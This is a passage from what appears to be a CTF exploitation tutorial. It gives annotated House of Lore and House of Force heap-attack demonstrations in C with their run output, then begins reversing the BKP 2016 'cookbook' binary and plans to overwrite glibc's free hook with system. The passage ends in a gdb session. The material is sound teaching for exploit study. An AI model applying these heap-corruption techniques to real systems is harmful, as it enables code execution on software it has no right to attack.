Action: Rifle name: Rifle description: Action: Okay order submitted!
Action: Rifle name: Rifle description: Action: Okay order submitted!
Action: Rifle name: Rifle description: Action: Okay order submitted!
Action: Rifle name: Rifle description: Action: Okay order submitted!
Action: Rifle name: Rifle description: Action: Okay order submitted!
Action: Rifle name: Rifle description: Action: Okay order submitted!
Action: Rifle name: Rifle description: Action: Okay order submitted!
Action: Rifle name: Rifle description: Action: Okay order submitted!
Action: Rifle name: Rifle description: Action: Okay order submitted!
Action: Rifle name: Rifle description: Action: Okay order submitted!
Action: Rifle name: Rifle description: Action: Okay order submitted!
Action: Rifle name: Rifle description: Action: Okay order submitted!
Action: Rifle name: Rifle description: Action: Okay order submitted!
Action: Rifle name: Rifle description: Action: Okay order submitted!
Action: Rifle name: Rifle description: Action: Okay order submitted!
Action: Rifle name: Rifle description: Action: Okay order submitted!
Action: Rifle name: Rifle description: Action: Okay order submitted!
Action: Rifle name: Rifle description: Action: Okay order submitted!
Action: Rifle name: Rifle description: Action: Okay order submitted!
Action: Rifle name: Rifle description: Action: Okay order submitted!
Action: Rifle name: Rifle description: Action: Okay order submitted!
Action: Rifle name: Rifle description: Action: Okay order submitted!
Action: Rifle name: Rifle description: Action: Okay order submitted!
Action: Rifle name: Rifle description: Action: Okay order submitted!
Action: Rifle name: Rifle description: Action: Okay order submitted!
Action: Rifle name: Rifle description: Action: Okay order submitted!
Action: Rifle name: Rifle description: Action: Okay order submitted!
Action: Rifle name: Rifle description: Action: Okay order submitted!
Action: Rifle name: Rifle description: Action: Okay order submitted!
Action: Rifle name: Rifle description: Action: Okay order submitted!
Action: Rifle name: Rifle description: Action: Okay order submitted!
Action: Rifle name: Rifle description: Action: Okay order submitted!
Action: Rifle name: Rifle description: Action: Okay order submitted!
Action: Rifle name: Rifle description: Action: Okay order submitted!
Action: Rifle name: Rifle description: Action: Okay order submitted!
Action: Rifle name: Rifle description: Action: Okay order submitted!
Action: Rifle name: Rifle description: Action: Okay order submitted!
Action: Rifle name: Rifle description: Action: Okay order submitted!
Action: Rifle name: Rifle description: Action: Okay order submitted!
Action: Rifle name: Rifle description: Action: Okay order submitted!
Action: Rifle name: Rifle description: Action: Okay order submitted!
Action: Rifle name: Rifle description: Action: Okay order submitted!
Action: Rifle name: Rifle description: Action: Okay order submitted!
Action: Rifle name: Rifle description: Action: Okay order submitted!
```

```
Action: Rifle name: Rifle description: Action: Enter any notice you'd like to
submit with your order: Action: Okay order submitted!
$
$ w
 21:49:25 up  2:37,  1 user,  load average: 0.30, 0.11, 0.03
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
guyinatu tty7     :0               19:12    2:37m  1:39   0.20s /sbin/upstart
--user
$ ls
core  exploit.py  libc-2.23.so    libc-2.24.so  oreo  readme.md  try.py
```

Just like that, we popped a shell!

House of Lore

This is just a well documented C file explaining how a house of Lore attack works. It was ran on Ubuntu 16.04 with libc version `libc-2.23.so`. Also this is based off of: https://github.com/shellphish/how2heap/blob/master/glibc_2.26/house_of_lore.c

Code:

```
// This is based off of: https://github.com/shellphish/how2heap/blob/master
/glibc_2.26/house_of_lore.c

#include <stdio.h>
#include <stdlib.h>

int main(void)
{

  puts("So let's cover House of Lore.");
  puts("House of Lore focuses on attacking the small bin to allocate a chunk
outside of the heap.");
  puts("We will essentially create two fake small bin chunks, then overwrite the
bk pointer of the small bin chunk to point to the first chunk.");
  puts("Then just allocate chunks until we get a fake chunk.");
  puts("It's sort of like a fast bin attack, however with more setup and
restrictions.");
  puts("Let's get started.\n\n");




  printf("We will start off by grooming the heap so we can do House of
Lore.\n");
  printf("For that we will need a chunk in the small bin that we can edit with
some sort of bug.\n");
  printf("For this we will allocate a small bin size chunk (by default on x64 it
is greater than 0x80 and less than 0x400).\n\n");

  unsigned long *ptr0;
  ptr0 = malloc(0x200);

  printf("Allocated chunk at:\t%p\n\n", ptr0);

  printf("Next we will allocate another chunk, just to avoid consolidating our
ptr0 chunk with the top chunk.\n\n");

  malloc(0x40);

  printf("Next up we will insert our first heap chunk into the unsorted bin by
freeing it.\n\n");

  free(ptr0);

  printf("Now we will insert our unsorted bin chunk into the small bin by
allocating a heap chunk big enough that it can't come out of the unsorted
bin.\n");

  malloc(0x500);
```

```
  printf("Now that we have a chunk in the small bin, we can move on to forging
the fake chunks.\n\n");

  printf("The small bin is a doubly linked list, with a fwd and bk pointer.\n");
  printf("The chunk that we allocate outside of the heap needs to have a fwd and
bk pointer to chunks that their opposite pointers point back to them.\n");
  printf("Due to checks made by malloc the fwd chunk's bk pointer needs to point
to the chunk outside of the heap we will allocate with malloc, and vice
versa.\n");
  printf("So in total we will need three chunks, one of which is our small bin
chunk, and the other two will be on the stack.\n");
  printf("Our goal is to get malloc to allocate fake chunk 0 (it will be at an
offset of 0x10 from the start).\n\n");

  unsigned long fake0[4];
  unsigned long fake1[4];

  printf("Fake Chunk 0:\t%p\n", fake0);
  printf("Fake Chunk 1:\t%p\n\n", fake1);

  printf("Now we will write the pointers that will link our two fake chunks on
the stack.\n");
  printf("The bk pointer for fake chunk 0 will point to fake chunk 1.\n");
  printf("The fwd pointer for fake chunk 1 will point to fake chunk 0.\n");
  printf("This is because if a chunk is allocated from the small bin, the next
chunk will be the bk chunk.\n");
  printf("Also keep in mind, these pointers are to the start of the heap
metadata.\n\n");

  fake0[3] = (unsigned long)fake1;
  fake1[2] = (unsigned long)fake0;

  printf("Now we will write the two pointers that will link together fake chunk
0 and our small bin chunk.\n");
  printf("This is also where our bug comes in to edit a freed small bin
chunk.\n");
  printf("We will use the bug to overwrite the bk pointer for the small bin
chunk to point to point to fake chunk 0.\n");
  printf("Then we will overwrite the fwd chunk of the fake chunk 0 to point to
the small bin chunk.\n\n");

  ptr0[1]  = (unsigned long)fake0;
  fake0[2] = (unsigned long)((unsigned long *)ptr0 - 2);

  printf("small bin bk:\t\t0x%lx\n", ptr0[1]);
  printf("fake chunk 0 fwd:\t0x%lx\n", fake0[2]);
  printf("fake chunk 0 bk:\t0x%lx\n", fake0[3]);
  printf("fake chunk 1 fwd:\t0x%lx\n\n", fake1[2]);
```

```
  printf("Now that our setup is out of the way, let's have malloc allocate fake
chunk 0.\n");
  printf("We will allocate a heap chunk equal to the size of our small bin
chunk.\n");
  printf("This will allocate our small bin chunk, and move our fake chunk to the
top of the small bin.\n");
  printf("Then with another allocation we will get our fake chunk from malloc.\n
\n");

  printf("Allocation 0:\t%p\n", malloc(0x200));
  printf("Allocation 1:\t%p\n", malloc(0x200));

  printf("\nJust like that, we executed a House of Lore attack!\n");
}
```

Running it:

```
$ ./house_of_lore
So let's cover House of Lore.
House of Lore focuses on attacking the small bin to allocate a chunk outside of the heap.
We will essentially create two fake small bin chunks, then overwrite the bk pointer of the small bin chunk to point to the first chunk.
Then just allocate chunks until we get a fake chunk.
It's sort of like a fast bin attack, however with more setup and restrictions.
Let's get started.


We will start off by grooming the heap so we can do House of Lore.
For that we will need a chunk in the small bin that we can edit with some sort of bug.
For this we will allocate a small bin size chunk (by default on x64 it is greater than 0x80 and less than 0x400).

Allocated chunk at: 0x152e420

Next we will allocate another chunk, just to avoid consolidating our ptr0 chunk with the top chunk.

Next up we will insert our first heap chunk into the unsorted bin by freeing it.

Now we will insert our unsorted bin chunk into the small bin by allocating a heap chunk big enough that it can't come out of the unsorted bin.
Now that we have a chunk in the small bin, we can move on to forging the fake chunks.

The small bin is a doubly linked list, with a fwd and bk pointer.
The chunk that we allocate outside of the heap needs to have a fwd and bk pointer to chunks that their opposite pointers point back to them.
Due to checks made by malloc the fwd chunk's bk pointer needs to point to the chunk outside of the heap we will allocate with malloc, and vice versa.
So in total we will need three chunks, one of which is our small bin chunk, and the other two will be on the stack.
Our goal is to get malloc to allocate fake chunk 0 (it will be at an offset of 0x10 from the start).

Fake Chunk 0: 0x7ffd876fd210
Fake Chunk 1: 0x7ffd876fd230

Now we will write the pointers that will link our two fake chunks on the stack.
The bk pointer for fake chunk 0 will point to fake chunk 1.
The fwd pointer for fake chunk 1 will point to fake chunk 0.
This is because if a chunk is allocated from the small bin, the next chunk will be the bk chunk.
Also keep in mind, these pointers are to the start of the heap metadata.

Now we will write the two pointers that will link together fake chunk 0 and our small bin chunk.
This is also where our bug comes in to edit a freed small bin chunk.
```

```
We will use the bug to overwrite the bk pointer for the small bin chunk to point
to point to fake chunk 0.
Then we will overwrite the fwd chunk of the fake chunk 0 to point to the small
bin chunk.

small bin bk:   0x7ffd876fd210
fake chunk 0 fwd: 0x152e410
fake chunk 0 bk:  0x7ffd876fd230
fake chunk 1 fwd: 0x7ffd876fd210

Now that our setup is out of the way, let's have malloc allocate fake chunk 0.
We will allocate a heap chunk equal to the size of our small bin chunk.
This will allocate our small bin chunk, and move our fake chunk to the top of
the small bin.
Then with another allocation we will get our fake chunk from malloc.

Allocation 0: 0x152e420
Allocation 1: 0x7ffd876fd220

Just like that, we executed a House of Lore attack!
```

House of Force Explanation

This is a well documented C source file that explains how a House of Force attack works.

Here is the code:

```
#include <stdio.h>
#include <stdlib.h>

unsigned long target;

int main(void)
{
    puts("So let's cover House of Force.");
    puts("With this Hose Attack, our goal is to get malloc to allocate a chunk
outside of the heap.");
    puts("To do this, we will attack the wilderness value, which specifies how
much space is left in the wilderness.");
    puts("The wilderness is space that has been mapped to the heap, yet has not
been allocated yet.");
    puts("We will overwrite this value with a larger value, so we can get malloc
to allocate space outside of the heap.");
    puts("Let's get started.\n");

    puts("Our goal will be to get malloc to return a pointer to the bss
variable.");
    printf("Variable Address:\t%p\n\n", &target);


    puts("So let's start off by allocating a chunk. We will use this to set up
the heap, and as a reference to overwrite the wilderness value.\n");
    unsigned long *ptr = malloc(0x10);

    puts("Now using some sort of bug, we can overwrite the wilderness value to a
much larger value.");

    printf("Old Wilderness: 0x%lx\n", ptr[3]);

    ptr[3] = 0xffffffffffffffff;

    printf("New Wilderness: 0x%lx\n\n", ptr[3]);


    puts("Now that we have increased the wilderness value significantly, let's
allocate some chunks.");
    puts("The first chunk will be massive, and will align the heap right up to
the target address.");
    puts("Then when we allocate the second chunk, it will overlap directly with
the target chunk.\n");


    puts("Now for how much space to allocate is pretty similar.");
    puts("It will be (targetAddress - wilderness - 0x20).");
    puts("Where targetAddress is the address we are trying to get malloc to
allocate.");
    puts("The wilderness value is the address of the start of the value, which
is the previous qword from the wilderness value.");
    puts("The 0x20 is four 4 qwords, because each of the two chunks takes 2
```

```
qwords (0x10 bytes) of space for the heap metadata.\n");

    unsigned long *wilderness = &ptr[2];
    unsigned long offset = (unsigned long)&target - (unsigned long)wilderness -
sizeof(long)*4;


    printf("Target Address:\t\t%p\n", &target);
    printf("Wilderness Address:\t%p\n", wilderness);
    printf("Malloc Size:\t\t%lx\n\n", offset);
    printf("Now to allocate the first chunk.\n\n");

    unsigned long *chunk0, *chunk1;

    chunk0 = malloc(offset);

    printf("We can see that we allocated a chunk at:\t%p\n", chunk0);
    printf("With that the heap should be aligned so the next malloc gives us our
target address.\n\n");
    chunk1 = malloc(0x10);

    printf("Chunk allocated at:\t%p\n\n", chunk1);

    puts("With that, we got our target chunk!");
}
```

Here is the code running (ran on `Ubuntu 16.04`):

```
./house_force_exp
So let's cover House of Force.
With this Hose Attack, our goal is to get malloc to allocate a chunk outside of
the heap.
To do this, we will attack the wilderness value, which specifies how much space
is left in the wilderness.
The wilderness is space that has been mapped to the heap, yet has not been
allocated yet.
We will overwrite this value with a larger value, so we can get malloc to
allocate space outside of the heap.
Let's get started.

Our goal will be to get malloc to return a pointer to the bss variable.
Variable Address:       0x602050

So let's start off by allocating a chunk. We will use this to set up the heap,
and as a reference to overwrite the wilderness value.

Now using some sort of bug, we can overwrite the wilderness value to a much
larger value.
Old Wilderness: 0x20bd1
New Wilderness: 0xffffffffffffffff

Now that we have increased the wilderness value significantly, let's allocate
some chunks.
The first chunk will be massive, and will align the heap right up to the target
address.
Then when we allocate the second chunk, it will overlap directly with the target
chunk.

Now for how much space to allocate is pretty similar.
It will be (targetAddress - wilderness - 0x20).
Where targetAddress is the address we are trying to get malloc to allocate.
The wilderness value is the address of the start of the value, which is the
previous qword from the wilderness value.
The 0x20 is four 4 qwords, because each of the two chunks takes 2 qwords (0x10
bytes) of space for the heap metadata.

Target Address:         0x602050
Wilderness Address:     0x1618430
Malloc Size:            fffffffffefe9c00

Now to allocate the first chunk.

We can see that we allocated a chunk at:        0x1618440
With that the heap should be aligned so the next malloc gives us our target
address.

Chunk allocated at:     0x602050

With that, we got our target chunk!
```

Boston Key Party 2016 Cookbook

This exploit is based off of this writeup with multiple parts (one of the best writeups I ever saw): https://www.youtube.com/watch?v=f1wp6wza8ZI https://www.youtube.com/watch?v=dnHuZLySS6g https://www.youtube.com/watch?v=PISoSH8KGVI

Let's take a look at the binary and libc file:

```
$    file cookbook
cookbook: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically
linked, interpreter /lib/ld-, for GNU/Linux 2.6.32,
BuildID[sha1]=2397d3d3c3b98131022ddd98f30e702bd4b88230, stripped
$    pwn checksec cookbook
[*] '/Hackery/pod/modules/house_of_power/bkp16_cookbook/cookbook'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
$ ./libc-2.24.so
GNU C Library (Ubuntu GLIBC 2.24-9ubuntu2.2) stable release version 2.24, by
Roland McGrath et al.
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 6.3.0 20170406.
Available extensions:
  crypt add-on version 2.1 by Michael Glad and others
  GNU Libidn by Simon Josefsson
  Native POSIX Threads Library by Ulrich Drepper et al
  BIND-8.2.3-T5B
libc ABIs: UNIQUE IFUNC
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
$    ./cookbook
what's your name?
guyinatuxedo
+-----------------------------+
|          .--,--.            |
|          `.  ,.'            |
|           |___|             |
|           :o o:             |
|          _`~^~'             |
|        /'   ^   `\          |
| cooking manager pro v6.1... |
+-----------------------------+
====================
[l]ist ingredients
[r]ecipe book
[a]dd ingredient
[c]reate recipe
[e]xterminate ingredient
[d]elete recipe
[g]ive your cookbook a name!
[R]emove cookbook name
[q]uit
```

So we can see that we are given a `32` bit binary, we a Stack Canary and NX. We can also see that we are dealing with the libc version `2.24`.

Reversing

This is going to be a fun one. Checking the references to strings that we see in the menu, we find the `menu` function:

```
void menu(void)

{
  char *ptr;
  size_t sVar1;
  int in_GS_OFFSET;
  char input [10];
  int canary;

  canary = *(int *)(in_GS_OFFSET + 0x14);
  puts("====================");
  puts("[l]ist ingredients");
  puts("[r]ecipe book");
  puts("[a]dd ingredient");
  puts("[c]reate recipe");
  puts("[e]xterminate ingredient");
  puts("[d]elete recipe");
  puts("[g]ive your cookbook a name!");
  puts("[R]emove cookbook name");
  puts("[q]uit");
  fgets(input,10,stdin);
  switch(input[0]) {
  case 'R':
    removeName();
    break;
  default:
    puts("UNKNOWN DIRECTIVE");
    break;
  case 'a':
    addIngredient();
    break;
  case 'c':
    createRecipe();
    break;
  case 'e':
    ptr = (char *)calloc(0x80,1);
    printf("which ingredient to exterminate? ");
    fgets(ptr,0x80,stdin);
    sVar1 = strcspn(ptr,"\n");
    ptr[sVar1] = '\0';
    FUN_080497f9(ptr);
    free(ptr);
    break;
  case 'g':
    nameCookbook();
    break;
  case 'l':
    listIngredients();
    break;
  case 'q':
    puts("goodbye, thanks for cooking with us!");
    if (canary != *(int *)(in_GS_OFFSET + 0x14)) {
```

```
                    /* WARNING: Subroutine does not return */
      __stack_chk_fail();
    }
    return;
  case 'r':
    recipeCookbook();
  }
}
```

Let's start going through this code and the functions it calls bit by bit:

```
void listIngredients(void)

{
  undefined4 *currentIngredient;

  currentIngredient = ingredients;
  while (currentIngredient != (undefined4 *)0x0) {
    puts("------");
    printIngredient(*currentIngredient);
    currentIngredient = (undefined4 *)currentIngredient[1];
    if (currentIngredient == (undefined4 *)0x0) {
      puts("------");
    }
  }
  return;
}
```

We can see here that iterate through and print all of our ingredients using the `printIngredient` function. We can also see that our ingredients are stored in the bss variable `ingredients` stored at `0x804d094`. We can see the structure of an ingredient thanks to the `printIngredient` function:

```
void printIngredient(undefined4 *param_1)

{
  printf("name: %s\n",param_1 + 2);
  printf("calories: %zd\n",*param_1);
  printf("price: %zd\n",param_1[1]);
  return;
}
```

So we can see here, that an ingredient is `12` bytes long. The first `4` bytes holds the calories, the second `4` bytes holds the prices, and the third `4` bytes holds the name. Next up we have:

```
void recipeCookbook(void)

{
  uint recipeCount;
  undefined4 currentRecipe;
  uint i;

  recipeCount = countDwordValues(&recipes);
  printf("%s\'s cookbook",cookbookName);
  i = 0;
  while (i < recipeCount) {
    currentRecipe = grabRecipe(&recipes,i);
    printRecipe(currentRecipe);
    i = i + 1;
  }
  return;
}
```

Like the `listIngredients` function, this prints the recipes, which are stored in the bss variable `recipes` at `0x804d08c`. Also we can see it prints the name of the cookbook, which is stored in the bss address `cookbookName` at `0x804d0ac`. Looking at the `printRecipe` function, we see what the structure of a recipe looks like:

```
void printRecipe(undefined4 *ingredient)

{
  uint ingredientCount;
  int iVar1;
  undefined4 cals;
  int in_GS_OFFSET;
  undefined4 ingredients;
  undefined4 ingredientQuantities;
  uint i;
  int canary;
  int canaryVal;

  canaryVal = *(int *)(in_GS_OFFSET + 0x14);
  ingredients = *ingredient;
  ingredientQuantities = ingredient[1];
  ingredientCount = countDwordValues(&ingredients);
  printf("[---%s---]\n",ingredient + 2);
  printf("recipe type: %s\n",ingredient[0x1f]);
  puts((char *)(ingredient + 0x23));
  i = 0;
  while (i < ingredientCount) {
    cals = grabRecipe(&ingredientQuantities,i);
    iVar1 = grabRecipe(&ingredients,i);
    printf("%zd - %s\n",cals,iVar1 + 8);
    i = i + 1;
  }
  cals = getCost(ingredient);
  printf("total cost : $%zu\n",cals);
  cals = getCals(ingredient);
  printf("total cals : %zu\n",cals);
  if (canaryVal != *(int *)(in_GS_OFFSET + 0x14)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}
```

From that (and some of the functions this called) we can tell that the structure of a recipe is this:

```
0x0:  ptr to linked list of ingredient counts
0x4:  ptr to linked list of ingredient quantities
0x8:  char array for recipe name
124:  char array to recipe type
140:  Char array for recipe instruction
```

Next up is `nameCookbook` :

```
void nameCookbook(void)

{
  ulong size;
  int in_GS_OFFSET;
  char inputLen [64];
  int canary;
  int canaryVal;

  canaryVal = *(int *)(in_GS_OFFSET + 0x14);
  printf("how long is the name of your cookbook? (hex because you\'re both a
chef and a hacker!) : "
        );
  fgets(inputLen,0x40,stdin);
  size = strtoul(inputLen,(char **)0x0,0x10);
  name = (char *)malloc(size);
  fgets(name,size,stdin);
  printf("the new name of the cookbook is %s\n",name);
  if (canaryVal != *(int *)(in_GS_OFFSET + 0x14)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}
```

We can see that the name of the cookbook is stored in a heap chunk, where a pointer to that chunk is stored in the bss variable `name` at `0x804d0a8`. We have control over the size of the chunk. Checking the references to `name` we see this function.

```
void removeName(void)

{
  free(name);
  return;
}
```

Here we can see it frees the pointer stored at `name`, which we can run with the `R` option. Also notice how there are no checks on the pointer before it is freed, and it isn't zeroed out (so we might have a UAF here). Next up, we have the `e` option:

```
  case 'e':
    ptr = (char *)calloc(0x80,1);
    printf("which ingredient to exterminate? ");
    fgets(ptr,0x80,stdin);
    sVar1 = strcspn(ptr,"\n");
    ptr[sVar1] = '\0';
    FUN_080497f9(ptr);
    free(ptr);
```

We can see that it allocates `0x80` bytes worth of heap space, scans in that much data into the space, then frees it. Next up we have:

```c
void addIngredient(void)

{
  size_t sVar1;
  char *nameWrite;
  char *priceWrite;
  char *caloriesWrite;
  int iVar2;
  int in_GS_OFFSET;
  char local_1a [10];
  int canary;

  canary = *(int *)(in_GS_OFFSET + 0x14);
  puts("====================");
  puts("[l]ist current stats?");
  puts("[n]ew ingredient?");
  puts("[c]ontinue editing ingredient?");
  puts("[d]iscard current ingredient?");
  puts("[g]ive name to ingredient?");
  puts("[p]rice ingredient?");
  puts("[s]et calories?");
  puts("[q]uit (doesn\'t save)?");
  puts("[e]xport saving changes (doesn\'t quit)?");
  fgets(local_1a,10,stdin);
  sVar1 = strcspn(local_1a,"\n");
  local_1a[sVar1] = '\0';
  switch(local_1a[0]) {
  case 'c':
    puts("still editing this guy");
    break;
  case 'd':
    free(currentIngredient);
    currentIngredient = (int *)0x0;
    break;
  case 'e':
    if (currentIngredient == (int *)0x0) {
      puts("can\'t do it on a null guy");
    }
    else {
      iVar2 = FUN_08049c58(currentIngredient + 2);
      if ((iVar2 == -1) && (*(char *)(currentIngredient + 2) != '\0')) {
        appendIngredient(&ingredients,currentIngredient);
        currentIngredient = (int *)0x0;
        puts("saved!");
      }
      else {
        puts("can\'t save because this is bad.");
      }
    }
    break;
  default:
    puts("UNKNOWN DIRECTIVE");
```

```
  break;
case 'g':
  nameWrite = (char *)calloc(0x80,1);
  if (currentIngredient == (int *)0x0) {
    puts("can\'t do it on a null guy");
  }
  else {
    fgets(nameWrite,0x80,stdin);
    sVar1 = strcspn(nameWrite,"\n");
    nameWrite[sVar1] = '\0';
    memcpy(currentIngredient + 2,nameWrite,0x80);
  }
  free(nameWrite);
  break;
case 'l':
  if (currentIngredient == (int *)0x0) {
    puts("can\'t print NULL!");
  }
  else {
    printIngredient(currentIngredient);
  }
  break;
case 'n':
  currentIngredient = (int *)malloc(0x90);
  *(int **)(currentIngredient + 0x23) = currentIngredient;
  break;
case 'p':
  priceWrite = (char *)calloc(0x80,1);
  if (currentIngredient == (int *)0x0) {
    puts("can\'t do it on a null guy");
  }
  else {
    fgets(priceWrite,0x80,stdin);
    sVar1 = strcspn(priceWrite,"\n");
    priceWrite[sVar1] = '\0';
    iVar2 = atoi(priceWrite);
    currentIngredient[1] = iVar2;
  }
  free(priceWrite);
  break;
case 'q':
  if (canary != *(int *)(in_GS_OFFSET + 0x14)) {
                /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
case 's':
  caloriesWrite = (char *)calloc(0x80,1);
  if (currentIngredient == (int *)0x0) {
    puts("can\'t do it on a null guy");
  }
  else {
    fgets(caloriesWrite,0x80,stdin);
```

```
      sVar1 = strcspn(caloriesWrite,"\n");
      caloriesWrite[sVar1] = '\0';
      iVar2 = atoi(caloriesWrite);
      *currentIngredient = iVar2;
    }
    free(caloriesWrite);
  }
}
```

After reversing all of this, we have what each of the secondary menu options do:

```
currentIngredient = current ingredient being edited, global variable stored in
bss at 0x804d09c
l - prints ingredient options
n - mallocs 0x90 bytes of space, sets currentIngredient equal to the pointer
returned by malloc, then sets that address + 0x8c equal to the pointer returned
by malloc
c - prints out a string
d - frees currentIngredient, sets currentIngredient equal to zero
g - callocs 0x80 bytes of space, if currentIngredient is set it will scan 128
bytes into the calloced space, removes the trailing newline then write that as
the currentIngredient name
p - callocs 0x80 bytes of space, if currentIngredient is set it will scan 128
bytes into the calloced space, removes the trailing newline and converts it to
an integer, then write the output of that as currentIngredient price
s - callos 0x80 bytes of space, if currentIngredient is set it will scan 128
bytes into the calloced space, removes the trailing newline and converts it to
an integer, then write the output of that as currentIngredient calories
q - exits the function
e - if currentIngredient is set, it will append the pointer currentIngredient to
the end of the linked list ingredients
```

The `c` option also presents us with another menu:

```
void createRecipe(void)

{
  int iVar1;
  size_t sVar2;
  int ingredientPtr;
  ulong uVar3;
  int iVar4;
  int iVar5;
  int in_GS_OFFSET;
  int local_d0;
  int *local_cc;
  char local_aa [10];
  char input0 [144];

  iVar1 = *(int *)(in_GS_OFFSET + 0x14);
LAB_080490a6:
  puts("[n]ew recipe");
  puts("[d]iscard recipe");
  puts("[a]dd ingredient");
  puts("[r]emove ingredient");
  puts("[g]ive recipe a name");
  puts("[i]nclude instructions");
  puts("[s]ave recipe");
  puts("[p]rint current recipe");
  puts("[q]uit");
  fgets(local_aa,10,stdin);
  sVar2 = strcspn(local_aa,"\n");
  local_aa[sVar2] = '\0';
  switch(local_aa[0]) {
  case 'a':
    if (currentRecipe == (int **)0x0) {
      puts("can\'t do it on a null guy");
    }
    printf("which ingredient to add? ");
    fgets(input0,0x90,stdin);
    sVar2 = strcspn(input0,"\n");
    input0[sVar2] = '\0';
    ingredientPtr = grabIngredientPtr(input0);
    if (ingredientPtr == 0) {
      printf("I dont know about, %s!, please add it to the ingredient
list!\n",input0);
    }
    else {
      printf("how many? (hex): ");
      fgets(input0,0x90,stdin);
      sVar2 = strcspn(input0,"\n");
      input0[sVar2] = '\0';
      uVar3 = strtoul(input0,(char **)0x0,0x10);
      appendIngredient(currentRecipe,ingredientPtr);
      appendIngredient(currentRecipe + 1,uVar3);
      puts("nice");
```

```
      }
      break;
    default:
      puts("UNKNOWN DIRECTIVE");
      break;
    case 'd':
      free(currentRecipe);
      break;
    case 'g':
      if (currentRecipe == (int **)0x0) {
        puts("can\'t do it on a null guy");
      }
      else {
        fgets((char *)(currentRecipe + 0x23),0x40c,stdin);
      }
      break;
    case 'i':
      if (currentRecipe == (int **)0x0) {
        puts("can\'t do it on a null guy");
      }
      else {
        fgets((char *)(currentRecipe + 0x23),0x40c,stdin);
        sVar2 = strcspn(local_aa,"\n");
        local_aa[sVar2] = '\0';
      }
      break;
    case 'n':
      currentRecipe = (int **)calloc(1,0x40c);
      break;
    case 'p':
      if (currentRecipe != (int **)0x0) {
        printRecipe(currentRecipe);
      }
      break;
    case 'q':
      if (iVar1 != *(int *)(in_GS_OFFSET + 0x14)) {
                    /* WARNING: Subroutine does not return */
        __stack_chk_fail();
      }
      return;
    case 'r':
      if (currentRecipe == (int **)0x0) {
        puts("can\'t do it on a null guy");
      }
      else {
        printf("which ingredient to remove? ");
        fgets(input0,0x90,stdin);
        local_d0 = 0;
        local_cc = *currentRecipe;
        while (local_cc != (int *)0x0) {
          iVar5 = *local_cc;
          iVar4 = strcmp((char *)(iVar5 + 8),input0);
          if (iVar4 == 0) {
```

```
          FUN_080487b5(currentRecipe,local_d0);
          FUN_080487b5(currentRecipe + 1,local_d0);
          printf("deleted %s from the recipe!\n",iVar5 + 8);
          goto LAB_080490a6;
        }
        local_d0 = local_d0 + 1;
        local_cc = (int *)local_cc[1];
      }
    }
    break;
  case 's':
    if (currentRecipe == (int **)0x0) {
      puts("can\'t do it on a null guy");
    }
    else {
      iVar5 = FUN_08049cb8(currentRecipe + 2);
      if ((iVar5 == -1) && (*(char *)(currentRecipe + 2) != '\0')) {
        *(undefined **)(currentRecipe + 0x1f) = PTR_s_drink_0804d064;
        appendIngredient(&recipes,currentRecipe);
        currentRecipe = (int **)0x0;
        puts("saved!");
      }
      else {
        puts("can\'t save because this is bad.");
      }
    }
  }
}
```

After reversing it, we find out that the menu options do this:

```
currentRecipe = current recipe being edited, stored as a global variable in the
bss at 0x804d0a0
n - callocs 0x40c bytes worth of space, set's currentRecipe equal to the pointer
returned by calloc
d - frees currentRecipe
a - checks if currentRecipe is zero, and if it is prints an error message
(function does continue), scans  0x90 bytes worth of data in input0, checks to
see if that corresponds to any ingredient name and if so returns a ptr to it, if
a ptr is returned then it will scan in 0x90 bytes which is converted to an
unsigned long integer from hex string. Proceeding that the ingredient name is
added to currentRecipe, with the quantity from the output of the hex string
conversion.
r - Scans in 0x90 bytes worth of data into input0
g - if currentRecipe is set, it will scan in 0x40c bytes into the instructions
for currentRecipe (not the name)
i - if currentRecipe is set, it will scan in 0x40c bytes into the instructions
for currentRecipe
s - First checks to see if currentRecipe is set, then performs a secondary check
to see if the name has been set (we don't have a method of directly setting it,
so this presents a problem). After that it adds currentRecipe to
recipeCollection, then sets currentRecipe equal to zero.
p - if currentRecipe is set, it will print the current setting for currentRecipe
by running it through print_recipe
q - exits the function
```

The `q` option just exits the menu. We can also see that the option `d` doesn't actually have a case for it set, so it will just print out `UNKOWN DIRECTIVE` (as well any other input that has not been mentioned).

Exploitation

For this, our exploit will really have two stages. The first will involve getting a Heap and Libc infoleak. The second part will involve writing the libc address of `system` to the free hook, using a House of Force Attack.

Heap Infoleak

So in order to execute this house of force attack against the free hook, the first infoleak we will need will be one from the heap. First off we have a use after free bug in the `createRecipe` menu (option c). We see that in there, if we delete an item (option d) it frees the space but the pointer remains:

```
      case 'd':
        free(cur_rec);
        continue;
```

Let's see how what this space looks like in gdb after it is freed:

```
gef➤  b *0x80495a0
Breakpoint 1 at 0x80495a0
gef➤  r
Starting program: /Hackery/pod/modules/house_of_force/bkp16_cookbook/cookbook
what's your name?
guyinatuxedo
+-----------------------------+
|          .--,--.            |
|          `.  ,.'            |
|           |___|             |
|           :o o:             |
|          _`~^~'             |
|        /'   ^   `\          |
| cooking manager pro v6.1... |
+-----------------------------+
====================
[l]ist ingredients
[r]ecipe book
[a]dd ingredient
[c]reate recipe
[e]xterminate ingredient
[d]elete recipe
[g]ive your cookbook a name!
[R]emove cookbook name
[q]uit
c
[n]ew recipe
[d]iscard recipe
[a]dd ingredient
[r]emove ingredient
[g]ive recipe a name
[i]nclude instructions
[s]ave recipe
[p]rint current recipe
[q]uit
n
[n]ew recipe
[d]iscard recipe
[a]dd ingredient
[r]emove ingredient
[g]ive recipe a name
[i]nclude instructions
[s]ave recipe
[p]rint current recipe
[q]uit
a
which ingredient to add? water
how many? (hex): 0x1
nice
[n]ew recipe
[d]iscard recipe
[a]dd ingredient
```

```
[r]emove ingredient
[g]ive recipe a name
[i]nclude instructions
[s]ave recipe
[p]rint current recipe
[q]uit
p

Breakpoint 1, 0x080495a0 in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
